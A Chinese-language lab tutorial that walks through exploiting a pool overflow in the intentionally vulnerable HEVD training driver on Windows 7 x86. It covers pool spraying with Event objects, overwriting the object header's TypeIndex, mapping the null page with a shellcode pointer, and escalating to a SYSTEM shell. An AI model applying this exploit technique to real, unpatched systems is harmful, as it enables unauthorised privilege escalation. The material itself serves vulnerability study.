Windows Kernel Exploit(四) -> PoolOverflow
字数 1402 2025-08-04 08:17:24
Windows内核漏洞利用:池溢出漏洞分析与利用
0x00 前言
本文是Windows内核漏洞利用系列的第四部分,重点讲解内核池溢出漏洞。要理解这部分内容,需要具备以下前置知识:
- Windows内存分配机制
- 堆溢出利用基础知识(建议参考《0day安全:软件漏洞分析技术第二版》第五章)
- Windows 7内核池管理机制(参考Tarjei Mandt的《Kernel Pool Exploitation on Windows 7》)
实验环境要求:
- Windows 7 x86 sp1虚拟机
- 配置好windbg等调试工具(建议配合VirtualKD使用)
- HEVD+OSR Loader配合构造漏洞环境
0x01 漏洞原理
池溢出原理分析
通过IDA分析HEVD.sys中的TriggerPoolOverflow函数,可以看到以下关键操作:
- 使用
ExAllocatePoolWithTag分配一块非分页内存池(大小0x1F8) - 打印分配的内存池信息
- 验证用户缓冲区是否驻留在用户模式
- 使用
memcpy将用户缓冲区内容拷贝到内核缓冲区
漏洞点在于memcpy操作没有对拷贝大小Size进行有效控制,导致可能发生池溢出。
int __stdcall TriggerPoolOverflow(void *UserBuffer, unsigned int Size)
{
PVOID KernelBuffer = ExAllocatePoolWithTag(0, 0x1F8u, 0x6B636148u);
// ...省略验证和打印...
memcpy(KernelBuffer, UserBuffer, Size); // 漏洞点:未校验Size大小
ExFreePoolWithTag(KernelBuffer, 0x6B636148u);
return result;
}
安全版本应该使用固定大小进行拷贝:
#ifdef SECURE
// 安全版本使用固定大小
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
// 漏洞版本直接使用用户控制的Size
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
0x02 漏洞利用
控制码计算
根据HEVD驱动头文件定义:
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL IOCTL(0x803)
使用Python计算控制码:
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)
'0x22200f'
池布局控制
为了可靠地利用池溢出漏洞,我们需要控制内核池的布局:
- 使用CreateEventA进行堆喷射:
- 每个Event对象大小为0x40
- 创建大量Event对象填满池空间
HANDLE spray_event[0x1000];
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
- 制造可控空洞:
- 间隔释放一些Event对象
- 这样可以在池中制造出我们能够控制的"空洞"
for (int i = 0; i < 0x1000; i++) {
// 0x40 * 8 = 0x200
for (int j = 0; j < 8; j++)
CloseHandle(spray_event[i + j]);
i += 8;
}
池头结构分析
Windows 7内核池的池头结构(_POOL_HEADER)如下:
struct _POOL_HEADER {
USHORT PreviousSize : 9; // 前一个chunk的BlockSize
USHORT PoolIndex : 7; // 所在大pool的pool descriptor的index
USHORT BlockSize : 9; // 当前块大小
USHORT PoolType : 7; // Free=0, Allocated=(PoolType|2)
ULONG PoolTag; // 4个可打印字符标识分配者
};
对象头结构利用
Windows 7中对象头结构发生了变化:
_OBJECT_HEADER位于池分配的内存之后- 关键字段
TypeIndex位于_OBJECT_HEADER+0xC处 TypeIndex用于在ObTypeIndexTable数组中查找对象类型
struct _OBJECT_HEADER {
LONG PointerCount;
LONG HandleCount;
_EX_PUSH_LOCK Lock;
UCHAR TypeIndex; // 关键字段,位于+0xC
// ...其他字段...
};
利用思路:
- 通过池溢出修改下一个池块的
TypeIndex为0 - 因为
ObTypeIndexTable前8字节为0,这样会返回NULL指针 - 在用户空间分配0页内存并放置shellcode
- 当关闭句柄时,会调用对象的关闭例程,从而执行我们的shellcode
0页内存分配
在Windows 7下可以分配0页内存:
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
*(DWORD*)(0x60) = (DWORD)&ShellCode; // 在0x60处放置shellcode指针
0x03 完整利用步骤
- 初始化设备句柄
- 构造池头结构
- 申请0页内存并放入shellcode
- 进行堆喷射并制造可控空洞
- 调用TriggerPoolOverflow触发漏洞
- 关闭句柄触发shellcode执行
- 通过cmd提权
调试技巧
-
在memcpy处下断点观察池状态
ba e1 HEVD!TriggerPoolOverflow+0xe1 -
检查0页内存是否分配成功
dd 0x0 -
检查shellcode指针是否正确设置
dd 0x60 -
使用
__debugbreak()在代码中插入断点
总结
本文详细分析了Windows 7内核池溢出漏洞的原理和利用方法,关键在于:
- 理解内核池管理机制
- 控制池布局制造可控空洞
- 利用对象头结构修改类型索引
- 通过0页内存放置shellcode
- 利用对象关闭例程触发执行
这种利用技术虽然复杂,但掌握了内核池的管理机制后,可以举一反三应用于其他类似漏洞的利用中。